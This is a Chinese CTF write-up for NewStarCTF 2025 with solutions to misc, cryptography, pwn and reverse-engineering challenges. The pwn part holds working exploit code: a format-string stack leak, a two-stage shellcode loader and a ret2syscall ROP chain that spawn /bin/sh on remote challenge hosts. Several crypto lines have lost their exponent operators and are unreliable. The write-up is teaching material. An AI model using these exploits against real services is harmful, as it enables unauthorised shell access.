想通了,什么都要学、什么都要打。

misc

1.美妙的音乐

flag{thi5_1S_m1Di_5tEG0}

undo2.OSINT-威胁情报

https://www.virustotal.com/gui/file/2c796053053a571e9f913fd5bae3bb45e27a9f510eace944af4b331e802a4ba0/details

3.日志分析:不敬者的闯入

搜索shell,找到之后直接访问~[/admin/Webshell](http://127.0.0.1:3321/admin/Webshell)网页

即可找到flag

4.星期四的狂想

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php 
echo "Hello, world!";

// 读取服务器上的flag文件并进行base64编码
$flag = base64_encode(file_get_contents("/flag"));

$hahahahahaha = '';
// 将flag每10个字符分割
foreach (str_split($flag, 10) as $part) {
// 随机选择处理方式
if (rand(0, 1)) {
$part = strrev($part); // 反转字符串
} else {
$part = str_rot13($part); // ROT13编码
}
$hahahahahaha .= $part;
}

// 生成包含混淆后flag的Cookie头
function code($x) {
return "Cookie: " . base64_encode($x);
}
?>

所以这里需要找到cookie

交给ai即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import base64          # 用于Base64编码/解码
import itertools # 用于生成所有可能的操作组合
import codecs # 用于ROT13编码/解码

def decrypt_cookie(cookie_value):
"""
解密Cookie中的flag

参数:
cookie_value: 从Cookie中获取的Base64编码字符串
返回:
解密后的原始flag字符串,失败返回None
"""

# Step 1: Base64解码Cookie值,得到混淆后的flag字符串
obfuscated_flag = base64.b64decode(cookie_value).decode('utf-8')

# Step 2: 将混淆字符串按每10个字符分割成块
# 例如: "abcdefghijklmn" -> ["abcdefghij", "klmn"]
chunks = [obfuscated_flag[i:i+10] for i in range(0, len(obfuscated_flag), 10)]

# Step 3: 暴力尝试所有可能的操作组合
# itertools.product生成所有True/False的组合,每个块对应一种操作
# True表示该块被反转过,False表示该块被ROT13编码过
# 2个块有4种组合,3个块有8种组合,以此类推
for combo in itertools.product([True, False], repeat=len(chunks)):
decoded_chunks = [] # 存储当前组合下解码后的块

# 遍历每个块,根据组合标志进行相应解码
for i, chunk in enumerate(chunks):
if combo[i]:
# 如果是True,说明该块在加密时被反转,这里需要再次反转还原
decoded_chunks.append(chunk[::-1])
else:
# 如果是False,说明该块在加密时使用了ROT13,这里用ROT13解码
decoded_chunks.append(codecs.decode(chunk, 'rot13'))

# Step 4: 合并所有解码后的块
final_string = ''.join(decoded_chunks)

# Step 5: 对合并后的字符串进行Base64解码,尝试得到原始flag
try:
# 如果解码成功且结果是有效的Base64字符串,返回解码结果
original_flag = base64.b64decode(final_string).decode('utf-8')
return original_flag
except:
# 如果Base64解码失败,说明当前操作组合不正确,继续尝试下一个组合
continue

# 如果所有组合都尝试完毕仍未成功,返回None
return None

# 主程序入口
if __name__ == "__main__":
# 请替换为实际的Cookie值
cookie_value = "YOUR_COOKIE_VALUE_HERE"

# 调用解密函数
result = decrypt_cookie(cookie_value)

# 输出结果
print(result if result else "解密失败")

密码学

1.置换

置换的介绍

在一个集合(例如 $ {1, 2, 3} $)中,置换 是一个将集合元素重新排列的函数。

例如:

$ \sigma(1) = 2, \quad \sigma(2) = 3, \quad \sigma(3) = 1 $

我们可以将这个置换表示为:

$ 1 \rightarrow 2 \rightarrow 3 \rightarrow 1 $

或者使用 轮换表示法(cycle notation):

$ (1;2;3) $

如果想要组合两个置换 $ \sigma_1 $ 和 $ \sigma_2 $,可以写作:

$ \sigma_2 \circ \sigma_1(x) = \sigma_2(\sigma_1(x)) $

例子:

$ (1;3;2;5;4)(1;2;3;4;5) = (1;5;3) $


字母与数字的映射

将字母映射为数字:

$ A = 1, B = 2, \dots, Z = 26 $

我们定义一个置换 $ \mathrm{F} $,它是 两个简单 $ S_{26} $ 置换的复合

$ \mathrm{F} = (1;2;3;4;5;6;7)(8;9;10;11;12;13;14) \circ (1;3;5;7)(2;4;6)(8;10;12;14) $


加密操作

加密操作是将置换 $ \mathrm{F} $ 应用到消息上:

$ \mathrm{F}(\text{Message}) = \text{Ciphertext} $

例子:

$ (1;2;3)(4;5) \text{ applied to } B;C;A;E;D;F \quad \Rightarrow \quad C;A;B;D;E;F $


你的密文:

SUFK_D_SJNPHA_PARNUTDTJOI_WJHH_GACJIJTAHY_IOT_STUNP_YOU.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
def decrypt_ciphertext(ciphertext):
# 定义字母到数字的映射
letter_to_num = {chr(i): i - 64 for i in range(65, 91)} # A=1, B=2, ..., Z=26

# 定义 F^{-1} 映射(基于数字)
f_inverse_map = {
1: 5, # A -> E
2: 7, # B -> G
3: 6, # C -> F
4: 1, # D -> A
5: 2, # E -> B
6: 3, # F -> C
7: 4, # G -> D
8: 12, # H -> L
9: 14, # I -> N
10: 9, # J -> I
11: 8, # K -> H
12: 11, # L -> K
13: 10, # M -> J
14: 13, # N -> M
# 15-26 不变
}

# 数字到字母的映射
num_to_letter = {num: chr(num + 64) for num in range(1, 27)}

decrypted = []
for char in ciphertext:
if char.isalpha():
# 大写字母处理
char_upper = char.upper()
num = letter_to_num[char_upper]
if num <= 14:
# 应用 F^{-1} 映射
decrypted_num = f_inverse_map[num]
decrypted_char = num_to_letter[decrypted_num]
else:
# 15-26 不变
decrypted_char = char
decrypted.append(decrypted_char)
else:
# 非字母字符不变
decrypted.append(char)

return ''.join(decrypted)


# 测试解密
ciphertext = "SUFK_D_SJNPHA_PARNUTDTJOI_WJHH_GACJIJTAHY_IOT_STUNP_YOU."
plaintext = decrypt_ciphertext(ciphertext)
print("Ciphertext:", ciphertext)
print("Decrypted:", plaintext)

SUCH_A_SIMPLE_PERMUTATION_WILL_DEFINITELY_NOT_STUMP_YOU.

2.RSA

参考:NewStarCTF2025 Crypto Week1&2 wp

1
2
3
4
5
6
7
8
9
10
11
12
13
# 这段脚本把 flag 拆成两半并分别加密

from Crypto.Util.number import *
import random


# 原始 flag
flag = b'flag{???????????????????}'
length = len(flag)

# 把 flag 分成前后两半,分别转换为整数 m1, m2
m1 = bytes_to_long(flag[:length//2])
m2 = bytes_to_long(flag[length//2:])
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# ------------------------- par1: 构造第1类模 n1 并加密 m -------------------------
def par1(m):

lst = []
# 选取 3 个不同的大素数(每个 512 bit)
while len(lst) < 3:
prime = getPrime(512)
if prime not in lst:
lst.append(prime)
print(prime)

# n1 = ∏ p_i^{t_i},其中每个素因子 p_i 被随机提升到 2到7 的小幂
n1 = 1
for prime in lst:
tmp = random.randint(2, 7) # 指数 tmp 在 2到7 之间
print(tmp)
n1 *= prime ** tmp

e = 65537
# 在模 n1 下对 m 做 RSA 加密
c1 = pow(m, e, n1)

# 输出素因子列表、模 n1、密文 c1

print(f"list:{lst}")
print(f"n1={n1}")
print(f"c1={c1}")


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# ------------------------- par2: 构造第2类模 n2 并加密 m,给出多个 hint -------------------------
def par2(m):

# 随机选三个不同的大素数 p2,q2,r2(每个 512 bit),并把它们相乘得到 n2
while True:
p2 = getPrime(512)
q2 = getPrime(512)
r2 = getPrime(512)
if p2 != q2 and p2 != r2 and q2 != r2:
break

n2 = p2 * q2 * r2


hint1 = pow(m, p2 * q2, n2)
hint2 = pow(m, r2, n2) # 怎么用好 hint1 和 hint2 呢?试一试 Fermat 吧!
hint3 = p2 + q2 # hint3 很关键 —— 想想如果你知道 p+q 和 p*q,就能做什么?

e = 65537
c2 = pow(m, e, n2)

print(f"n2={n2}")
print(f"hint1={hint1}")
print(f"hint2={hint2}")
print(f"hint3={hint3}")
print(f"c2={c2}")
1
2
3
4
5
6
7
8
9
10
list:[8477643094111283590583082266686584577185935117516882965276775894970480047703089419434737653896662067140380478042001964249802246254766775288215827674566239, 7910991244809724334133464066916251012653855854025088993280923310153569870514093484293150987057836939645880428872351249598065661847436809250099607617398229, 12868663117540247120940164330605349884925779832327002530579867223566756253418944553917676755694242046142851695033487706750006566539584075228562544644953317]
n1=1103351600126529748374237534378639752005563260397057273760573608668234841858898339963615180586483636658319719258259564340229731088477043006707066258091746453519875771328756343070392346553837475869985292233339882321767365588480914243055530194543710833400735694644740966837509139443272712871728933520755003149497543272631963356726446399042360341133139923381402765176034620742095462597690819317740258280338778466308360122325510768573457366480478480385099879072314101166576014811788437611871531848011762293407180575205681864374034973560073644731757180275405672624629974899658185645498677923049149478738083257882839079796420483489134608949730373829870700049152830490730902518823469250714236113622490232617166274965015245948264281265453208875232918994116540222173029738472689551464384951129495828658025526216028826258099588572669439254177489891457890498930044291769038333452721765661715836795838845421437984152253836745540547878024331492328801233425013069672422548913381714868180440419922587534373534388179645778998201569812711853469607955639409976100938326204393436455902117700715705355730254907473694496862186927081288536664564066273905636691443629865742113665395817897790346568115147261785693069547062993147965228097215778787698574672103567611954541526351385121096946876318405181900957517179318858167322380305506577864659070587276190351263272904670121000123739762817165611376508091511049581310489960967300251226150505529874043827860587179066433478573304632672443028389332137578559069790875583860034559992961597964011009181097461053565357444468759142467793785272517357594961007684369171923169825343428400994582000709315829746271356743493827706669902956302087422710335869361908872578360718630332916867987882367454381486160119341248986730614715669587555561672656107579415221691270769054441036888212622679174466809685017295395823904506545225068526453243179279430769878809345179954207934650512040934969514434321887565917951423932360150276928683390148666338790317001765138293050858448249492058987889761085236104153306884365020403974305552987123976314900738336243171779096705121428628914344115125836293982077268043357822313817090167616525512714228298048543723340688062975654817272989686281447834032081689520522343318726816659742944874587243087717935463623631288732784108299093601104113561688659145661286269339180833210463
c1=1091994761217634826072124019708574984391652131019528859451478177360336520455071879664626056517127684886792263267184750289726966173475531785135908239241367011964947254146686336678625127107000203921535502636024125382397949549706019108806905113568387688784083651867765356465676713044867529224095280990952281722377729904633765755308727317586804384907594623294542255582608130775388385053656500091188492219892541287152759373311871679053567569991598739628072091647402994694057021522875429987401797108991466209720726320411739418901734326490258573985380323870664455719118307333460877640654186421881374126846465164012283741829305792336376443671697322944983680753186871994926812712407530175535547953488409667363778877011722921746615125168842335755090712330314248078688305813574126414154357295682111730319771541764882123530538798904329448342477283010679916534388272354852606444335501019923314748714020060783702757991765107811664795881473290112012642711848840732656792842975595985262637352884148989392358729413049666423809444629233355604344713121576947744271550672311509709353155584615401385981281541568915650140285513857950097872392262841978506457072907666348887936981254691271750737368646952613446340505887570613771043863966115924851279285010321193299940403084752305457659188900451883509679442577291500194294702408740417770241347854055121038455584689346661759142226424655750649030196509606345959868857460928822458178193914427975718432613693148519385509070885413086890691471063639321214058351800789483569828355240522324245612035847073723555128381268497293297681153943700076717509367055194706714770699658667364019792069384855913700111098207862666478388154325649690787295929427544059466206456378068191323286585251490682952650730101051661446454500997013269750318207079005140046631065420740924251847948208391204635801689730778074655515676216581230345037704163062457051532737078339281175699645868527505281984564077081473213204937490995858702477009964928872064904754834804222961572810639265783286770899262602346777948115933216112376126550352514674411338374863486761612733848198090788549337632188615953986569772932102409611086086895003705261003974939487286850347660140334361903821934552381535024019082394626749532280515222512480387681995937963724398131252527927016338174692268363933916957519992512787514236065140642709723084266949

n2=1069018081462192233874980694931144545150390355151142000407896565228521856087497130221328822828336193888433906258622424173888905902703892967253752403237818439004204769185744957222426788163474091322195131517000927031632213563726678357776820914860304114493023487392954636569155416533134778017635963554249754152905136768251720862406591818283210776943594065154793598910172412634428403766286774221252340847853800584819732893065160890727141088203583945705491817754798199
hint1=495128350277196206878301144662871873237030348510695923954264742873861239639964327065778936381957512315649691671343380037835210964239285388639258116089512827565613815144843995253866231195560373946746849139176701974882655518646303907103018798645711804858249793838527221003421990186067508970406658504653011309012705975088331579176215562874130854040538446696646570783420605205142219423250083326857924937357413604293802370900521919578742651150371880416910794941782372
hint2=30328561797365977072611520167046226865857127358764834983211668172910299946455309984910564878419440651867811045905957544019080032899770755776597512870488988655573901143704158135658656276142062054235425241921334990614594054774876139797881802290465401101513930547809082303438739954539239681192173563314964619128522116071538744700209974655230351192503911493028021717763873423132332205605117704777006410273001461242351682504368760936763922017247768057874236213463076
hint3=20884722618082876001516601155402590958389763080024067634953470674302186115943562475648388511118550021010685094074280890845364756164094187193286427464829840
c2=548415661734126053738347374438337003873176731288953351164055019598761821990636552806558989407452529293973596759395078164177029251755832478675308995116633955485067347066419466003081030015784908106772410713523387155248930421498438336128348929737424937920603679054765413736671822930257854740643178209639013528748572597042833138551717910328899462934527011212318128877188460373648545379405946354668400634037669394938860103705689139981117990256660685216959315741336968

解法如下:

p1:没啥好说的,2-7遍历除回去就行了

p2:

$ n=pqr $

$ hint_1 ≡ m^{p*q}\mod \ n_2(以下我简称为n)
$

$ hint_2 ≡ m^{r}\mod \ n
$

$ hint_3 ≡ p*q
$

$ c_2(以下我简称为c)=m^e\ mod \ n_2 $

根据费马小定理:

$ hint_1 ≡ m^{p*q}≡m\mod \ n
$

$ hint_2 ≡ m^{r}≡m\mod \ n
$→$ hint_2^e ≡ m^{e}\mod \ n
$

又因为

$ c ≡ m^{e}\mod \ n
$→$ hint_2^e ≡ m^{e}\mod \ r
$

所以

$ hint_2^e ≡ c\mod \ r
$

$ r是hint_2^e-c的一个因子
$

因为

$ n只有三个大素数因子(其中一个因子为r) $

所以

$ r=gcd(hint_2^e-c,n)
$

得解。

以下是代码实现

part1(遍历循环即可)

1
2
3
4
5
6
7
8
9
#par1:
for num in list:
for i in range(8,2,-1):
if n1 % num**i == 0:
print(i)
break
#3
#5
#7

所以part1的解密算法是

1
2
3
4
phin1=(list[0]3-list[0]2)*(list[1]5-list[1]4)*(list[2]7-list[2]6)
d1=pow(e,-1,phin1)
m=pow(c1,d1,n1)
print(long_to_bytes(m))

part2

1
2
3
4
5
6
7
r2=math.gcd(hint2**e-c2,n2)
print(r2)
a2=n2//r2 #(a2=p2*q2)
phin2=(r2-1)*(a2-(hint3)+1)
d2=pow(e,-1,phin2)
m2=pow(c2,d2,n2)
print(long_to_bytes(m2))

拼一下即可.flag{Ooooo6_y0u_kn0w_F3rm@t_and_Eu13r_v3ry_w3ll!!}

3.DLP_1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from Crypto.Util.number import *
from math import prod
from sympy.ntheory.modular import crt
from math import isqrt

def prime_factors(n):# 一个工具函数,用于简单试除分解
res, d = [], 2
while d * d <= n:
while n % d == 0:
res.append(d)
n //= d
d += 1 if d == 2 else 2
if n > 1: res.append(n)
return res

def find_primitive_root(p):# 找模 p 的原根,什么是原根呢?去学习一下叭
phi = p - 1
facs = set(prime_factors(phi))#这里用到了工具函数
for g in range(2, p):
if all(pow(g, phi // q, p) != 1 for q in facs):
return g


flag=b'flag{??????????????????}'# assert len(flag)==24
inner = flag[5:-1] # 去掉 "flag{" 和 "}"
n = len(inner) // 3 # 每段长度
parts = [inner[i*n:(i+1)*n] for i in range(3)]

p=[]
g=[]
h=[]

for i in range(0,3):
p.append(getPrime(48))
g.append(find_primitive_root(p[i]))
x=bytes_to_long(parts[i])
h.append(pow(g[i],x,p[i]))

print(p)
print(g)
print(h)
"""
p=[189869646048037, 255751809593851, 216690843046819]
g=[5, 3, 3]
h=[78860859934701, 89478248978180, 81479747246082]
"""
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from Cryptodome.Util.number import *
from math import prod
from sympy.ntheory.modular import crt
from math import isqrt

def prime_factors(n):
res, d = [], 2
while d * d <= n:
while n % d == 0:
res.append(d)
n //= d
d += 1 if d == 2 else 2
if n > 1:
res.append(n)
return res

def bsgs(base, target, p, order):
m = isqrt(order) + 1
baby_steps = {}
x = 1
for j in range(m):
baby_steps[x] = j
x = (x * base) % p
giant_step = pow(base, -m, p)
current = target
for i in range(m):
if current in baby_steps:
j = baby_steps[current]
ak = i * m + j
if ak < order:
return ak
current = (current * giant_step) % p
return None

def pohlig_hellman(g, h, p):
n = p - 1
factors_list = prime_factors(n)
fac_exp = {}
for q in factors_list:
fac_exp[q] = fac_exp.get(q, 0) + 1
moduli = []
remainders = []
for q, exp in fac_exp.items():
m_i = q exp
g_i_bar = pow(g, n // m_i, p)
h_i_bar = pow(h, n // m_i, p)
gamma = pow(g_i_bar, m_i // q, p)
x_i_bar = 0
base = 1
for k in range(exp):
exponent = m_i // (q
(k + 1))
d = pow(h_i_bar * pow(g_i_bar, -x_i_bar, p), exponent, p)
if q <= 1000000:
ak_found = None
for ak in range(q):
if pow(gamma, ak, p) == d:
ak_found = ak
break
if ak_found is None:
raise ValueError("No solution found")
else:
ak_found = bsgs(gamma, d, p, q)
x_i_bar = (x_i_bar + ak_found * base) % (q ** exp)
base *= q
moduli.append(m_i)
remainders.append(x_i_bar)
x, M = crt(moduli, remainders)
return x

p_list = [189869646048037, 255751809593851, 216690843046819]
g_list = [5, 3, 3]
h_list = [78860859934701, 89478248978180, 81479747246082]

parts_bytes = []
for i in range(3):
x_i = pohlig_hellman(g_list[i], h_list[i], p_list[i])
part = long_to_bytes(x_i)
if len(part) < 6:
part = b'\x00' * (6 - len(part)) + part
parts_bytes.append(part)

inner = b''.join(parts_bytes)
flag = b'flag{' + inner + b'}'
print(flag.decode())

4.FHE: 0 and 1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import uuid
import random
from Crypto.Util.number import getPrime

flag = "flag{" + str(uuid.uuid4()) + "}" # 生成随机 flag
binary_flag = "" # 存储 flag 对应的二进制字符串

# 将每个字符转换为 8 位二进制
for ch in flag:
# ord(ch) 得到字符的 ASCII 值
# bin(...) 得到二进制字符串,去掉 '0b' 前缀并补齐 8 位
binary_flag += bin(ord(ch))[2:].zfill(8)

p = getPrime(128) # 生成大素数 p

# -------------------------------
# 加密逻辑
# -------------------------------
ciphertext = [] # 存储加密后的每一位
public_keys = [] # 存储每一位对应的 public key

for bit in binary_flag:
# 随机生成一个大整数作为公钥
rand_multiplier = random.randint(p // 4, p // 2)
rand_offset = random.randint(1, 10)
pk_i = p * rand_multiplier + rand_offset
public_keys.append(pk_i)

# 加密:bit + 一个小随机数 + p 的倍数
small_noise = 2 * random.randint(1, p // 2**64)
large_noise = p * random.randint(p // 4, p // 2)
c_i = int(bit) + small_noise + large_noise
ciphertext.append(c_i)

# -------------------------------
# 保存公钥和密文到文件
# -------------------------------
with open("pk.txt", "w") as f:
f.write(str(public_keys))

with open("c.txt", "w") as f:
f.write(str(ciphertext))

pk和c的内容太长了,就不放了

加密逻辑:

随机生成一个flag,

pwn

1.刻在栈里的秘密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
a1gorithms@A1gorithm:/mnt/hgfs/E/CTF/比赛/NewStar2025/pwn$ nc 8.147.132.32 13440
现在有一个密码隐藏在栈上(•̀ᴗ• )
你需要做的是通过格式化字符串来泄露这个密码o(´^`)o!m, 告诉我密码我就给你flag
哦,对了对了,你还要告诉我指向这个密码的地址
在此之前, 你可以了解一下各个格式化字符串的用法, 例如 %p, %s, %d, 以及 $ 符号. emmm...还有 x86-64 函数调用约定!

指向密码的指针被存放在了 0x7ffeb39a8170 中, 同时栈顶指针是 0x7ffeb39a80f0 .
他们之间的距离是:也就是说, 在printf之前, 格式字符串的参数看起来就像 ( *・ω・)

0x7ffeb39a8170: [?] <-- 密码在这里捏
0x7ffeb39a8168: [?]
0x7ffeb39a8160: [?]
0x7ffeb39a8158: [?]
0x7ffeb39a8150: [?]
0x7ffeb39a8148: [?]
0x7ffeb39a8140: [?]
0x7ffeb39a8138: [?]
0x7ffeb39a8130: [?]
0x7ffeb39a8128: [?]
0x7ffeb39a8120: [?]
0x7ffeb39a8118: [?]
0x7ffeb39a8110: [?]
0x7ffeb39a8108: [?]
0x7ffeb39a8100: [?]
0x7ffeb39a80f8: [?]
0x7ffeb39a80f0: [?]
0x7ffeb39a80e8: [?]
0x7ffeb39a80e0: [?] <-- 栈顶在这里捏
R9: [?]
R8: [?]
RCX: [?]
RDX: [?]
RSI: [?]
RDI: [格式化字符串]

现在给你两次输入的机会, 补要输入太长的数据哦.
接着我会使用printf, 用你的输入作为printf的参数.
看起来就像 printf(your_input), 实际上这样是很危险的, 好孩子不要模仿^^. 来吧让我看看你的输入
%17$p.%18$p.%19$p.%20$p.%21$p.%22$p.%23$p.%24$p.%25$p.%26$p.%27$p.%28$p
printf第 1 次启动!
(nil).(nil).(nil).(nil).(nil).(nil).(nil).0x7ffeb39a8120.(nil).(nil).(nil).0x480000000f

再来一次 !
%24$s
printf第 2 次启动!
SCDMMKOHASAKGNH

现在来验证一下密码吧 ( ⁼̴̀ .̫ ⁼̴ )✧!输入你的密码:
SCDMMKOHASAKGNH
现在来验证一下密码的指针吧 ( ⁼̴̀ .̫ ⁼̴ )✧!输入你的密码:
给我输入一个类似 0x11451416 进制数!
0x7ffeb39a8120
好棒 ̋(๑˃́ꇴ˂̀๑) 给你flag
flag{7b4bdf44-d24a-4239-acca-5c98498e3374}

说白了就是找栈上面那里有值,打印即可

2.input_small_function

考点:shellcode

1
2
3
4
5
6
7
8
9
10
11
12
int __fastcall main(int argc, const char argv, const char envp)
{
void *buf; // [rsp+8h] [rbp-8h]

init(argc, argv, envp);
buf = mmap((void *)0x114514, 0x1000uLL, 7, 34, -1, 0LL);
puts("please input a small function (also after compile)");
read(0, buf, 0x14uLL);
clear();
((void (*)(void))buf)();
return 0;
}
mmap

mmap(Memory Map)是一个强大的系统调用,用于将文件或设备映射到内存中,或者创建匿名内存映射区域。

1
void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
  • addr: 建议映射的起始地址(通常设为 NULL,让内核自动选择)。
  • length: 要映射的字节数。
  • prot: 内存保护标志(位掩码):
    • PROT_READ:可读、PROT_WRITE:可写、PROT_EXEC:可执行、PROT_NONE:不可访问
  • flags: 映射类型和选项(位掩码):
    • MAP_SHARED:修改会写回文件/共享给其他映射同一区域的进程。
    • MAP_PRIVATE:修改只对本进程可见(写时复制)。
    • MAP_ANONYMOUS/ MAP_ANON:创建匿名映射(不关联文件,fd通常设为 -1)。
    • MAP_FIXED:强制使用指定的 addr(不推荐)。
    • 其他标志(如 MAP_LOCKED, MAP_POPULATE等)。
  • fd: 要映射的文件的文件描述符(匿名映射时设为 -1)。
  • offset: 文件中的起始偏移量(通常为 0)。
只读20字节是没办法写shellcode的,所以需要写两个shellcode,第一段再次调用read函数(这里调用的read函数可以在后面当做是函数运行),第二段执行`/bin/sh`
1
2
3
4
5
6
xor eax, eax        ; rax=0 (read系统调用号)
xor edi, edi ; rdi=0 (标准输入)
lea rsi, [rip+0x9] ; rsi=0x114528 (缓冲区地址)
mov edx, 0x100 ; rdx=0x100 (读取长度)
syscall ; 调用read
jmp rsi ; 跳转到第二阶段shellcode
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
context(arch='amd64', os='linux')

p = remote('192.168.100.1', 38419)\

# 第一阶段shellcode(20字节)
stage1 = asm('''
xor eax, eax
xor edi, edi
lea rsi, [rip+0x9]
mov edx, 0x100
syscall
jmp rsi
''')

# 验证阶段1长度
if len(stage1) != 20:
print(f"Stage1 length error: {len(stage1)} bytes")
exit(1)

# 第二阶段shellcode(使用shellcraft生成)
stage2 = asm(shellcraft.amd64.linux.sh())

# 接收提示并发送第一阶段shellcode
p.recvuntil(b"please input a small function (also after compile)\n")
p.send(stage1)

# 立即发送第二阶段shellcode
p.send(stage2)

# 交互模式
p.interactive()

3. syscall

考点:ret2syscall

参考:PWN入门(三)——ret2text /ret2syscall /ret2shellcode-CSDN博客

相关知识点——ret2syscall
ret2syscall

ret2syscall‌核心思想是通过控制程序执行系统调用,达到获取shell的目的。

系统调用(system call),指运行在用户空间的程序向操作系统内核请求需要更高权限运行的服务。 操作系统的进程空间可分为用户空间和内核空间,它们需要不同的执行权限。其中系统调用运行在内核空间。

应用程序调用系统调用的过程是: 1、把系统调用的编号存入 EAX; 1、把函数参数存入其它通用寄存器; 3、触发中断。

一般 ret2syscall 中都是通过调用 execve 获取 shell

调用execve就相当于调用system,因为system函数在libc库中是通过调用execve来实现的。

gadgets :以 ret 结尾的指令序列,利用程序中的gadgets控制寄存器的读写来进行系统调用,实现execve("/bin/sh",NULL,NULL)系统调用,获取最高权限。

x86和x64下的中断命令和寄存器是不同的,系统调用号也是不同的。

中断:x86:int 80 x64:syscall 寄存器:x86:eax x64:rax

linux 下查看系统调用号:

x86:cat /usr/include/asm/unistd_32.h x64:cat /usr/include/asm/unistd_64.h

攻击过程

x86

Linux的32位系统的中断通过int 0x80实现。

调用系统调用的过程是:1.把系统调用的编号存入eax

2.第一个参数放入ebx

3.第二个参数放入ecx

4.第三个参数放入edx

5.触发int 0x80号中断

调用execve:

eax存放系统调用号 ebx存放/bin/sh地址 ecx置0 edx置0

之后通过将eip指向int 0x80的地址触发中断。

所以我们要找到pop eax指令的地址和pop ebx、pop ecx、pop edx的地址。最后找到一个ret将eip指向int 0x80。

利用ROPgadget搜索相应的gadget的地址。

1
2
3
4
5
6
7
8
int __cdecl main(int argc, const char argv, const char envp)
{
init(&argc);
_libc_write(1, "welcome to newstarctf2025 week2!\n", 33);
_libc_write(1, "pwn it guys!\n", 13);
func();
return 0;
}
1
2
3
4
5
6
int func()
{
_BYTE v1[14]; // [esp+6h] [ebp-12h] BYREF

return _libc_read(0, v1, 100);
}

栈溢出

静态链接

这个时候我们需要构造对应的payload

ROPgadget --binary syscall --only "pop|ret" | grep 'eax'

0x080b438a : pop eax ; ret

同理:

0x08049022 : pop ebx ; ret

0x0804985a : pop ecx ; ret

0x0804985c : pop edx ; ret

ROPgadget –binary ./syscall –string “/bin/sh”

ROPgadget –binary syscall –only “int”

0x08073a00 : int 0x80

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *

# 32 位 ret2syscall:先 read 把 "/bin/sh" 写进 .bss,再用 int 0x80 调 execve
context(arch="i386", os="linux", log_level="debug")

# ELF 用来取 .bss 可写区,远端同版本即可
elf = ELF(r"E:\CTF\比赛\NewStar2025\pwn\syscall\syscall")
io = remote("127.0.0.1", 41290)

offset = 22 # buf 长 0x12 + saved ebp 4 => 覆盖 EIP 的偏移

# ROP gadget
pop_eax = 0x080b438a
pop_ebx = 0x08049022
pop_ecx = 0x0804985a
pop_edx = 0x0804985c
int_0x80 = 0x08073a00 # int 0x80 ; ret

bss_addr = elf.bss() # 可写区地址作为 "/bin/sh" 存放点

# read(0, bss, 0x20) 读入 "/bin/sh\\x00";然后 execve(bss, 0, 0)
payload = flat(
b"A" * offset,
pop_eax, 0x3, # eax = SYS_read
pop_ebx, 0x0, # ebx = stdin
pop_ecx, bss_addr, # ecx = 目标缓冲区
pop_edx, 0x20, # edx = 长度
int_0x80,
pop_eax, 0xb, # eax = SYS_execve
pop_ebx, bss_addr, # ebx = "/bin/sh" 地址
pop_ecx, 0x0, # ecx = argv
pop_edx, 0x0, # edx = envp
int_0x80,
)

io.sendlineafter(b"pwn it guys!\n", payload)
io.sendline(b"/bin/sh\x00") # 填给前一条 read,写入 .bss
io.interactive()

bss段是一个可以写的区域,用来存放未初始化的全局变量和静态变量 , 它是攻击者用来存放输入数据或注入代码的一个常用地方。

reverse

1.尤皮·埃克斯历险记(1)

upx脱壳

反编译

也就是说这个密文序列是由两段生成的,一种办法是可以把前一段和后一段手动相加;另一种办法是动调(纯粹懒):

为啥这玩意需要先输入才有,为了过长度检测,所以一开始的长度检测这里选输入一个‘a’*34.

跟进isfhGJ_tt_cU_ny_nuTjcj_tT_cj

1
cipher=[0x69, 0x73, 0x66, 0x68, 0x47, 0x4a, 0x9, 0x74, 0x7e, 0x63, 0x55, 0xa, 0x79, 0xa, 0x75, 0x54, 0x6a, 0x63, 0x6a, 0x9, 0x54, 0x7e, 0x63, 0x6a, 0x51, 0x64, 0x75, 0x7e, 0x77, 0x7b, 0x4, 0x5, 0x71, 0x41]

encrypt函数

就是数字大小写互换,解密时候换回去就可。

往下走能看到是和60异或

所以反过来解密:先异或、再互换。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
cipher=[0x69, 0x73, 0x66, 0x68, 0x47, 0x4a, 0x9, 0x74, 0x7e, 0x63, 0x55, 0xa, 0x79, 0xa, 0x75, 0x54, 0x6a, 0x63, 0x6a, 0x9, 0x54, 0x7e, 0x63, 0x6a, 0x51, 0x64, 0x75, 0x7e, 0x77, 0x7b, 0x4, 0x5, 0x71, 0x41]
def encrypt(data: bytes) -> bytes:
"""
Args:
data: 输入的字节数据(bytes类型)
Returns:
加密/解密后的字节数据
"""
result = bytearray()

for byte_val in data: # byte_val是0-255的整数
# 情况1:数字字符 '0'-'9' (ASCII 48-57)
if 48 <= byte_val <= 57:
